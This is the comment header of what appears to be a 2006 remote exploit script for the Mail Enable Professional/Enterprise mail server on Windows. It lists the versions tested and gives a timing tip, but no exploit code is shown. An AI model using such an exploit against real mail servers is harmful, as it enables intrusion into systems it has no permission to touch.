# Mail Enable Professional/Enterprise v2.32-4 (win32) remote exploit
# by mu-b - Thu Nov 23 2006
#
# - Tested on: Mail Enable Professional v2.32 (win32) - with HOTFIX
#              Mail Enable Professional v2.33 (win32)
#              Mail Enable Professional v2.34 (win32)
#
# what does this remind you off?
# Note: timing is quite critical with this!!, so change $send_delay
#       if it doesn't work....
